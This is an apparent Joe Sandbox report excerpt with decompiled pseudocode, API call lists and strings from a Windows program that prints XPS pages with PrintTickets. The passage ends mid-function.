				memcpy(_t229 - 0x108, _t227, _t203 << 2);
				_t224 = _t227 + _t203 + _t203;
				asm("movsb");
				_t205 = _t229 - 0xdf;
				E01149280(_t229 - 0xdf, 0, 0xdb);
				_t234 = _t230 - 0x374 + 0x24;
				 *(_t229 - 0x330) = "<FixedPage Width=\"816\" Height=\"1056\" xmlns=\"http://schemas.microsoft.com/xps/2005/06\" xml:lang=\"und\"><Path Data=\"M 100.00,100.00 L 440.48,100.00 440.48,613.44 100.00,613.44 z\"><Path.Fill><ImageBrush ImageSource=\"/Documents/1/Resources/Images/image1.jpg\" Viewbox=\"0,0,256,384\" TileMode=\"None\" ViewboxUnits=\"Absolute\" ViewportUnits=\"Absolute\" Viewport=\"100.00,100.00,340.48,513.44\" /></Path.Fill></Path></FixedPage>";
				_push(L"Microsoft XPS Document Writer");
				_push(0x100);
				_t218 = _t229 - 0x308;
				_push(_t229 - 0x308);
				 *(_t229 - 0x314) = E01141E30(_t229 - 0xdf);
				if( *(_t229 - 0x314) >= 0) {
					_push(_t229 - 0x31c);
					_t205 = _t229 - 0x310;
					_push(_t229 - 0x310);
					E01143110();
					_t234 = _t234 + 8;
				}
				if( *(_t229 - 0x314) >= 0) {
					_t218 = _t229 - 0x350;
					_t205 =  *(_t229 - 0x31c);
					_t197 = E011431C0( *(_t229 - 0x31c), _t229 - 0x324, _t229 - 0x350);
					_t234 = _t234 + 0xc;
					 *(_t229 - 0x314) = _t197;
				}
				if( *(_t229 - 0x314) >= 0) {
					_push(_t229 - 0x35c);
					_push(_t229 - 0x320);
					_t205 =  *(_t229 - 0x350);
					_push( *(_t229 - 0x350));
					_t218 =  *(_t229 - 0x324);
					_push( *(_t229 - 0x324));
					_push(0x18);
					_t195 = E01141360();
					_t234 = _t234 + 0x14;
					 *(_t229 - 0x314) = _t195;
				}
				if( *(_t229 - 0x314) >= 0) {
					 *(_t229 - 0x318) = CreateDCW(0, _t229 - 0x308, 0, 0);
					if( *(_t229 - 0x318) == 0) {
						 *(_t229 - 0x360) = GetLastError();
						E01148840(_t218, 0x6c);
						_t240 = _t234 + 4;
						if( *(_t229 - 0x360) == 0x709) {
							E01148840(_t218, 0x6a);
							_t240 = _t240 + 4;
						}
						_t205 =  *(_t229 - 0x360);
						_push( *(_t229 - 0x360));
						_t192 = E01141730( *(_t229 - 0x360));
						_t234 = _t240 + 4;
						 *(_t229 - 0x314) = _t192;
					}
				}
				_t248 =  *(_t229 - 0x314);
				if( *(_t229 - 0x314) >= 0) {
					_t218 =  *(_t229 - 0x318);
					_push( *(_t229 - 0x318));
					_t187 = E011412A0(_t200, _t224, _t227, _t248);
					_t234 = _t234 + 4;
					 *(_t229 - 0x314) = _t187;
				}
				if( *(_t229 - 0x314) == 0) {
					 *(_t229 - 0x374) = 0x14;
					 *((intOrPtr*)(_t229 - 0x370)) = L"Fixed Page PrintTicket Sample";
					 *(_t229 - 0x36c) = 0;
					 *(_t229 - 0x368) = 0;
					 *(_t229 - 0x364) = 0;
					_t205 =  *(_t229 - 0x318);
					_t138 = StartDocW( *(_t229 - 0x318), _t229 - 0x374);
					__eflags = _t138;
					if(_t138 <= 0) {
						_push(GetLastError());
						_t140 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t140;
					} else {
						 *(_t229 - 0x34c) = 1;
					}
				} else {
					E01148840(_t218, 0x6d);
					_push(0x32);
					_t186 = E01141730(_t205);
					_t234 = _t234 + 8;
					 *(_t229 - 0x314) = _t186;
				}
				if( *(_t229 - 0x314) >= 0) {
					_t218 =  *(_t229 - 0x318);
					if(StartPage( *(_t229 - 0x318)) <= 0) {
						_push(GetLastError());
						_t184 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t184;
					} else {
						 *(_t229 - 0x344) = 1;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					_t205 =  *(_t229 - 0x35c);
					_t218 =  *(_t229 - 0x318);
					if(ExtEscape( *(_t229 - 0x318), 0x101a,  *(_t229 - 0x35c),  *(_t229 - 0x320), 0, 0) <= 0) {
						_push(GetLastError());
						_t181 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t181;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					 *(_t229 - 0x338) = 0;
					 *(_t229 - 0x32c) = 0;
					 *(_t229 - 0x328) = FindResourceW(0, L"#201", L"JPGIMAGE");
					if( *(_t229 - 0x328) == 0) {
						_push(GetLastError());
						_t169 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t169;
					} else {
						 *(_t229 - 0x338) = SizeofResource(0,  *(_t229 - 0x328));
						 *(_t229 - 0x358) = LoadResource(0,  *(_t229 - 0x328));
						if( *(_t229 - 0x358) != 0) {
							_t218 =  *(_t229 - 0x358);
							 *(_t229 - 0x32c) = LockResource( *(_t229 - 0x358));
						}
					}
					if( *(_t229 - 0x314) >= 0) {
						_t218 = _t229 - 0x108;
						_t172 = E01141470(0x1e,  *(_t229 - 0x32c),  *(_t229 - 0x338), _t229 - 0x108, _t229 - 0x340, _t229 - 0x354);
						_t234 = _t234 + 0x18;
						 *(_t229 - 0x314) = _t172;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					_t218 =  *(_t229 - 0x340);
					_t214 =  *(_t229 - 0x318);
					if(ExtEscape( *(_t229 - 0x318), 0x101a,  *(_t229 - 0x354),  *(_t229 - 0x340), 0, 0) <= 0) {
						E01148840(_t218, 0x6e);
						_push(GetLastError());
						_t166 = E01141730(_t214);
						_t234 = _t234 + 8;
						 *(_t229 - 0x314) = _t166;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					 *(_t229 - 0x348) = 0;
					 *(_t229 - 0x334) = 0;
					 *(_t229 - 0x33c) = 0;
					_t218 =  *(_t229 - 0x330);
					_t152 = E011493A0( *(_t229 - 0x330));
					_t234 = _t234 + 4;
					 *(_t229 - 0x348) = _t152;
					if( *(_t229 - 0x314) >= 0) {
						_push(_t229 - 0x33c);
						_push(_t229 - 0x334);
						_t218 =  *(_t229 - 0x348);
						_push( *(_t229 - 0x348));
						_push( *(_t229 - 0x330));
						_push(0x1c);
						_t161 = E011415C0();
						_t234 = _t234 + 0x14;
						 *(_t229 - 0x314) = _t161;
					}
					if( *(_t229 - 0x314) >= 0) {
						_t212 =  *(_t229 - 0x334);
						_t218 =  *(_t229 - 0x33c);
						if(ExtEscape( *(_t229 - 0x318), 0x101a,  *(_t229 - 0x33c),  *(_t229 - 0x334), 0, 0) <= 0) {
							E01148840(_t218, 0x6e);
							_push(GetLastError());
							_t158 = E01141730(_t212);
							_t234 = _t234 + 8;
							 *(_t229 - 0x314) = _t158;
						}
					}
				}
				if( *(_t229 - 0x344) != 0) {
					EndPage( *(_t229 - 0x318));
				}
				if( *(_t229 - 0x34c) != 0) {
					_t218 =  *(_t229 - 0x318);
					EndDoc( *(_t229 - 0x318));
				}
				if( *(_t229 - 0x320) != 0) {
					if( *(_t229 - 0x320) != 0) {
						LocalFree( *(_t229 - 0x320));
					}
					 *(_t229 - 0x320) = 0;
				}
				if( *(_t229 - 0x324) != 0) {
					__imp__CoTaskMemFree( *(_t229 - 0x324));
					 *(_t229 - 0x324) = 0;
				}
				if( *(_t229 - 0x31c) != 0) {
					_t146 =  *( *(_t229 - 0x31c));
					_t218 =  *(_t146 + 8);
					 *( *(_t146 + 8))( *(_t229 - 0x31c));
					 *(_t229 - 0x31c) = 0;
				}
				if( *(_t229 - 0x318) != 0) {
					DeleteDC( *(_t229 - 0x318));
					 *(_t229 - 0x318) = 0;
				}
				_push(_t229 - 0x310);
				E011430C0(_t229 - 0x310);
				_pop(_t225);
				_pop(_t228);
				return E0114942B(_t200,  *(_t229 - 4) ^ _t229, _t218, _t225, _t228);
			}

APIs

CreateDCW.GDI32(00000000,?,00000000,00000000), ref: 011419D8
GetLastError.KERNEL32(?,?,?,00000100,Microsoft XPS Document Writer), ref: 011419ED
StartDocW.GDI32(00000000,00000014), ref: 01141AB1
GetLastError.KERNEL32 ref: 01141AC7
StartPage.GDI32(00000000), ref: 01141AEC
GetLastError.KERNEL32 ref: 01141B02
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01141B3E
GetLastError.KERNEL32 ref: 01141B48

Part of subcall function 01143110: LocalFree.KERNEL32(00000000,00000100,Microsoft XPS Document Writer), ref: 01143164

FindResourceW.KERNEL32(00000000,#201,JPGIMAGE), ref: 01141B8A
SizeofResource.KERNEL32(00000000,00000000), ref: 01141BA8
LoadResource.KERNEL32(00000000,00000000), ref: 01141BBD
LockResource.KERNEL32(00000000), ref: 01141BD9
GetLastError.KERNEL32 ref: 01141BE7
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01141C5F
GetLastError.KERNEL32 ref: 01141C73
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01141D24
GetLastError.KERNEL32 ref: 01141D38
EndPage.GDI32(00000000), ref: 01141D5D
EndDoc.GDI32(00000000), ref: 01141D73
LocalFree.KERNEL32(00000000), ref: 01141D92
CoTaskMemFree.OLE32(00000000), ref: 01141DB2
DeleteDC.GDI32(00000000), ref: 01141DF9

Part of subcall function 01148840: GetModuleHandleW.KERNEL32(00000000,01143E40,?,00000400), ref: 01148865
Part of subcall function 01148840: LoadStringW.USER32(00000000), ref: 0114886C

Strings

Fixed Page PrintTicket Sample, xrefs: 01141A7B
Microsoft XPS Document Writer, xrefs: 01141926
JPGIMAGE, xrefs: 01141B7E
<FixedPage Width="816" Height="1056" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und"><Path Data="M 100.00,100.00 L 440.48,100.00 440.48,613.44 100.00,613.44 z"><Path.Fill><ImageBrush ImageSource="/Documents/1/Resources/Images/image1.jpg" Viewbo, xrefs: 0114191C, 01141CB9, 01141CEC
#201, xrefs: 01141B83
/Documents/1/Resources/Images/image1.jpg, xrefs: 011418F8

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast$Resource$EscapeFree$LoadLocalPageStart$CreateDeleteFindHandleLockModuleSizeofStringTask
String ID: #201$/Documents/1/Resources/Images/image1.jpg$<FixedPage Width="816" Height="1056" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und"><Path Data="M 100.00,100.00 L 440.48,100.00 440.48,613.44 100.00,613.44 z"><Path.Fill><ImageBrush ImageSource="/Documents/1/Resources/Images/image1.jpg" Viewbo$Fixed Page PrintTicket Sample$JPGIMAGE$Microsoft XPS Document Writer
API String ID: 4206494932-1711864343
Opcode ID: 245b7bee52e6998bd2010dc152fc6dca04edb459494fbe172706c5a6f8c7e0c3
Instruction ID: f2e5ffc647414e6a4135335598b24a63066e7b13e31236ad30e29e4264e646ba
Opcode Fuzzy Hash: 245b7bee52e6998bd2010dc152fc6dca04edb459494fbe172706c5a6f8c7e0c3
Instruction Fuzzy Hash: 56F110B5D0122DEBDB2ADF64DC49BDA77BCAB08B09F0440E8E109A6180D7756BC5CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01155B25, Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 175libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,0116AE10,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010), ref: 01155B4D
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000800,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010), ref: 01155B73
GetLastError.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155B7F
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010), ref: 01155B95
GetProcAddress.KERNEL32(00000000,MessageBoxW), ref: 01155BAB
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BBA
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 01155BC7
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BCE
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 01155BDB
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BE2
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationW), ref: 01155BEF
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BF6
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 01155C07
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155C0E
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155C18
OutputDebugStringW.KERNEL32(?,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155C2A
DecodePointer.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155C48
DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155C6A
DecodePointer.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155C75
DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155CBA
DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155CD2
DecodePointer.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155CE6

Strings

GetProcessWindowStation, xrefs: 01155C01
GetUserObjectInformationW, xrefs: 01155BE4
GetActiveWindow, xrefs: 01155BBC
USER32.DLL, xrefs: 01155B6E, 01155B90
GetLastActivePopup, xrefs: 01155BD0
MessageBoxW, xrefs: 01155BA5

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: Pointer$DecodeEncode$AddressProc$LibraryLoad$DebugDebuggerErrorLastOutputPresentString
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 3166169540-564504941
Opcode ID: 283a0ea000e53c48fa05b705ed48c931904bbae40d02d6eefa53e23f5aa6a850
Instruction ID: 92417a344092ed3b1520f8e3bf37551b9b4d95003110ce9d0ee7eeced78dd417
Opcode Fuzzy Hash: 283a0ea000e53c48fa05b705ed48c931904bbae40d02d6eefa53e23f5aa6a850
Instruction Fuzzy Hash: A0519571A00306EFDBA8DBB99C44A6F7BAEFF04740B580129FA25E3144DB75D581CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01142680, Relevance: 45.8, APIs: 23, Strings: 3, Instructions: 292
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E01142680(void* __ebx, void* __edx) {
				void* __edi;
				void* __esi;
				signed int _t96;
				int _t106;
				int _t117;
				int _t119;
				int _t124;
				int _t129;
				int _t131;
				int _t135;
				int _t141;
				int _t144;
				int _t147;
				int _t152;
				int _t153;
				int _t155;
				int _t161;
				void* _t163;
				signed int _t168;
				signed int _t174;
				void* _t177;
				void* _t178;
				void* _t185;
				void* _t186;
				signed int _t189;
				void* _t190;
				void* _t191;
				void* _t200;

				_t176 = __edx;
				_t163 = __ebx;
				_t189 = _t190;
				_t191 = _t190 - 0xd8;
				_t96 =  *0x1169060; // 0xce125272
				 *(_t189 - 4) = _t96 ^ _t189;
				_push(_t185);
				_push(_t177);
				 *(_t189 - 0xac) = 0;
				 *(_t189 - 0xb0) = 0;
				 *(_t189 - 0xb4) = 0;
				 *(_t189 - 0xbc) = 0;
				 *(_t189 - 0xc4) = 0;
				 *(_t189 - 0xb8) = 0;
				if( *(_t189 - 0xac) >= 0) {
					 *(_t189 - 0xb0) = CreateDCW(0,  *((intOrPtr*)(_t189 + 8)) + 8, 0, 0);
					if( *(_t189 - 0xb0) == 0) {
						 *(_t189 - 0xc0) = GetLastError();
						E01148840(_t176, 0x6c);
						_t200 = _t191 + 4;
						if( *(_t189 - 0xc0) == 0x709) {
							E01148840(_t176, 0x6a);
							_t200 = _t200 + 4;
						}
						_t164 =  *(_t189 - 0xc0);
						_push( *(_t189 - 0xc0));
						_t161 = E01141730( *(_t189 - 0xc0));
						_t191 = _t200 + 4;
						 *(_t189 - 0xac) = _t161;
					}
				}
				_t204 =  *(_t189 - 0xac);
				if( *(_t189 - 0xac) >= 0) {
					_t176 =  *(_t189 - 0xb0);
					_push( *(_t189 - 0xb0));
					_t153 = E011412A0(_t163, _t177, _t185, _t204);
					_t191 = _t191 + 4;
					 *(_t189 - 0xac) = _t153;
					if( *(_t189 - 0xac) == 1) {
						E01148840(_t176, 0x6d);
						_push(0x32);
						_t155 = E01141730(_t164);
						_t191 = _t191 + 8;
						 *(_t189 - 0xac) = _t155;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					 *(_t189 - 0xd8) = 0x14;
					 *((intOrPtr*)(_t189 - 0xd4)) = L"Multiple PrintTickets Sample";
					 *(_t189 - 0xd0) = 0;
					 *(_t189 - 0xcc) = 0;
					 *(_t189 - 0xc8) = 0;
					_t164 =  *(_t189 - 0xb0);
					if(StartDocW( *(_t189 - 0xb0), _t189 - 0xd8) <= 0) {
						_push(GetLastError());
						_t152 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t152;
					} else {
						 *(_t189 - 0xc4) = 1;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_t176 =  *(_t189 - 0xb0);
					if(StartPage( *(_t189 - 0xb0)) <= 0) {
						_push(GetLastError());
						_t147 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t147;
					} else {
						 *(_t189 - 0xb8) = 1;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_push(_t189 - 0xbc);
					_t164 = _t189 - 0xb4;
					_push(_t189 - 0xb4);
					_t176 =  *(_t189 + 0x10);
					_push( *(_t189 + 0x10));
					_push( *((intOrPtr*)(_t189 + 0xc)));
					_push(0x18);
					_t144 = E01141360();
					_t191 = _t191 + 0x14;
					 *(_t189 - 0xac) = _t144;
				}
				if( *(_t189 - 0xac) >= 0) {
					_t164 =  *(_t189 - 0xb4);
					_t176 =  *(_t189 - 0xbc);
					if(ExtEscape( *(_t189 - 0xb0), 0x101a,  *(_t189 - 0xbc),  *(_t189 - 0xb4), 0, 0) <= 0) {
						E01148840(_t176, 0x6e);
						_push(GetLastError());
						_t141 = E01141730(_t164);
						_t191 = _t191 + 8;
						 *(_t189 - 0xac) = _t141;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					asm("pushad");
					asm("popad");
					_t174 = 0x14;
					memcpy(_t189 - 0xa8, L"First Page with User Default PrintTicket", _t174 << 2);
					asm("movsw");
					_t164 = _t189 - 0xa8;
					_t131 = E0114943A(_t189 - 0xa8);
					_t191 = _t191 + 0x10;
					_t176 = _t189 - 0xa8;
					if(TextOutW( *(_t189 - 0xb0), 0xc8, 0xc8, _t189 - 0xa8, _t131) == 0) {
						_push(GetLastError());
						_t135 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t135;
					}
				}
				if( *(_t189 - 0xb8) != 0) {
					_t164 =  *(_t189 - 0xb0);
					if(EndPage( *(_t189 - 0xb0)) <= 0) {
						_push(GetLastError());
						_t129 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t129;
					} else {
						 *(_t189 - 0xb8) = 0;
					}
				}
				if( *(_t189 - 0xb4) != 0) {
					if( *(_t189 - 0xb4) != 0) {
						_t176 =  *(_t189 - 0xb4);
						LocalFree( *(_t189 - 0xb4));
					}
					 *(_t189 - 0xb4) = 0;
				}
				if( *(_t189 - 0xac) >= 0) {
					if(StartPage( *(_t189 - 0xb0)) <= 0) {
						_push(GetLastError());
						_t124 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t124;
					} else {
						 *(_t189 - 0xb8) = 1;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_push(_t189 - 0xbc);
					_t176 = _t189 - 0xb4;
					_push(_t189 - 0xb4);
					_push( *((intOrPtr*)(_t189 + 0x18)));
					_push( *((intOrPtr*)(_t189 + 0x14)));
					_push(0x1a);
					_t119 = E01141360();
					_t191 = _t191 + 0x14;
					 *(_t189 - 0xac) = _t119;
				}
				if( *(_t189 - 0xac) >= 0) {
					_t176 =  *(_t189 - 0xb4);
					_t171 =  *(_t189 - 0xb0);
					if(ExtEscape( *(_t189 - 0xb0), 0x101a,  *(_t189 - 0xbc),  *(_t189 - 0xb4), 0, 0) <= 0) {
						E01148840(_t176, 0x6e);
						_push(GetLastError());
						_t117 = E01141730(_t171);
						_t191 = _t191 + 8;
						 *(_t189 - 0xac) = _t117;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_t168 = 0x13;
					memcpy(_t189 - 0x54, L"Second Page with Modified Print Ticket", _t168 << 2);
					asm("movsw");
					_t176 = _t189 - 0x54;
					_t106 = E0114943A(_t189 - 0x54);
					_t170 =  *(_t189 - 0xb0);
					if(TextOutW( *(_t189 - 0xb0), 0xc8, 0xc8, _t189 - 0x54, _t106) == 0) {
						_push(GetLastError());
						 *(_t189 - 0xac) = E01141730(_t170);
					}
				}
				if( *(_t189 - 0xb8) != 0) {
					_t176 =  *(_t189 - 0xb0);
					EndPage( *(_t189 - 0xb0));
				}
				if( *(_t189 - 0xc4) != 0) {
					EndDoc( *(_t189 - 0xb0));
				}
				if( *(_t189 - 0xb0) != 0) {
					DeleteDC( *(_t189 - 0xb0));
					 *(_t189 - 0xb0) = 0;
				}
				if( *(_t189 - 0xb4) != 0) {
					if( *(_t189 - 0xb4) != 0) {
						_t176 =  *(_t189 - 0xb4);
						LocalFree( *(_t189 - 0xb4));
					}
					 *(_t189 - 0xb4) = 0;
				}
				_pop(_t178);
				_pop(_t186);
				return E0114942B(_t163,  *(_t189 - 4) ^ _t189, _t176, _t178, _t186);
			}

APIs

CreateDCW.GDI32(00000000,-00000008,00000000,00000000), ref: 011426E7
GetLastError.KERNEL32 ref: 01142936
GetLastError.KERNEL32 ref: 0114299A
GetLastError.KERNEL32 ref: 011426FC

Part of subcall function 01148840: GetModuleHandleW.KERNEL32(00000000,01143E40,?,00000400), ref: 01148865
Part of subcall function 01148840: LoadStringW.USER32(00000000), ref: 0114886C

StartDocW.GDI32(00000000,00000014), ref: 011427C7
GetLastError.KERNEL32 ref: 011427DD
StartPage.GDI32(00000000), ref: 01142802
GetLastError.KERNEL32 ref: 01142818
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01142883
GetLastError.KERNEL32 ref: 01142897
TextOutW.GDI32(00000000,000000C8,000000C8,?,00000000), ref: 011428F1
GetLastError.KERNEL32 ref: 011428FB
EndPage.GDI32(00000000), ref: 01142920
LocalFree.KERNEL32(00000000), ref: 01142964
StartPage.GDI32(00000000), ref: 01142984
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01142A05
GetLastError.KERNEL32 ref: 01142A19
TextOutW.GDI32(00000000,000000C8,000000C8,?,00000000), ref: 01142A6A
GetLastError.KERNEL32 ref: 01142A74
EndPage.GDI32(00000000), ref: 01142A99
EndDoc.GDI32(00000000), ref: 01142AAF
DeleteDC.GDI32(00000000), ref: 01142AC5
LocalFree.KERNEL32(00000000), ref: 01142AEE

Strings

Multiple PrintTickets Sample, xrefs: 01142791
First Page with User Default PrintTicket, xrefs: 011428BA
Second Page with Modified Print Ticket, xrefs: 01142A3C

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast$Page$Start$EscapeFreeLocalText$CreateDeleteHandleLoadModuleString
String ID: First Page with User Default PrintTicket$Multiple PrintTickets Sample$Second Page with Modified Print Ticket
API String ID: 3997207232-475045183
Opcode ID: ee6967d038feff31805783296be9bc49f704933bf3e2abcaa59e63938784645e
Instruction ID: ab8cf7978691d60ebf560d16275540e4aa2605af1be525aca8105044d45e88da
Opcode Fuzzy Hash: ee6967d038feff31805783296be9bc49f704933bf3e2abcaa59e63938784645e
Instruction Fuzzy Hash: 7BC123B5D00329DFEB38DF64EC09B9A77B5BB14709F0484E8E609A6180D7755AC4CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01142CB0, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 239
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E01142CB0(void* __ebx, void* __eflags) {
				void* __edi;
				void* __esi;
				signed int _t90;
				int _t107;
				WCHAR* _t112;
				WCHAR* _t116;
				WCHAR* _t120;
				WCHAR* _t124;
				WCHAR* _t125;
				WCHAR* _t127;
				WCHAR* _t132;
				WCHAR* _t135;
				WCHAR* _t137;
				WCHAR* _t139;
				void* _t140;
				signed int _t145;
				short _t151;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				signed int _t164;
				void* _t165;
				void* _t167;
				void* _t172;

				_t140 = __ebx;
				_t164 = _t165;
				_t90 =  *0x1169060; // 0xce125272
				 *(_t164 - 4) = _t90 ^ _t164;
				_push(_t161);
				_push(_t156);
				 *(_t164 - 0x278) = 0;
				 *(_t164 - 0x274) = 0;
				 *(_t164 - 0x280) = 0;
				 *(_t164 - 0x294) = 0;
				 *(_t164 - 0x27c) = 0;
				 *(_t164 - 0x284) = 0;
				 *(_t164 - 0x298) = 0;
				 *(_t164 - 0x270) = 0;
				E01149280(_t164 - 0x26c, 0, 0x204);
				_t167 = _t165 - 0x2ac + 0xc;
				 *(_t164 - 0x290) = 0;
				 *(_t164 - 0x28c) = 0;
				_push(L"Microsoft XPS Document Writer");
				_push(0x100);
				_t141 = _t164 - 0x268;
				_push(_t164 - 0x268);
				 *(_t164 - 0x274) = E01141E30(_t164 - 0x268);
				if( *(_t164 - 0x274) >= 0) {
					_t148 = _t164 - 0x27c;
					_push(_t164 - 0x27c);
					_push(_t164 - 0x270);
					_t139 = E01143110();
					_t167 = _t167 + 8;
					 *(_t164 - 0x274) = _t139;
				}
				if( *(_t164 - 0x274) >= 0) {
					_t141 = _t164 - 0x298;
					_t148 = _t164 - 0x284;
					_t137 = E011431C0( *(_t164 - 0x27c), _t164 - 0x284, _t164 - 0x298);
					_t167 = _t167 + 0xc;
					 *(_t164 - 0x274) = _t137;
				}
				if( *(_t164 - 0x274) >= 0) {
					_push(_t164 - 0x294);
					_t148 = _t164 - 0x280;
					_push(_t164 - 0x280);
					_push( *(_t164 - 0x298));
					_t141 =  *(_t164 - 0x284);
					_push( *(_t164 - 0x284));
					_push(0x18);
					_t135 = E01141360();
					_t167 = _t167 + 0x14;
					 *(_t164 - 0x274) = _t135;
				}
				if( *(_t164 - 0x274) < 0) {
					L11:
					_t180 =  *(_t164 - 0x274);
					if( *(_t164 - 0x274) >= 0) {
						_t141 =  *(_t164 - 0x278);
						_push( *(_t164 - 0x278));
						_t125 = E011412A0(_t140, _t156, _t161, _t180);
						_t167 = _t167 + 4;
						 *(_t164 - 0x274) = _t125;
						if( *(_t164 - 0x274) == 1) {
							E01148840(_t148, 0x6d);
							_push(0x32);
							_t127 = E01141730(_t141);
							_t167 = _t167 + 8;
							 *(_t164 - 0x274) = _t127;
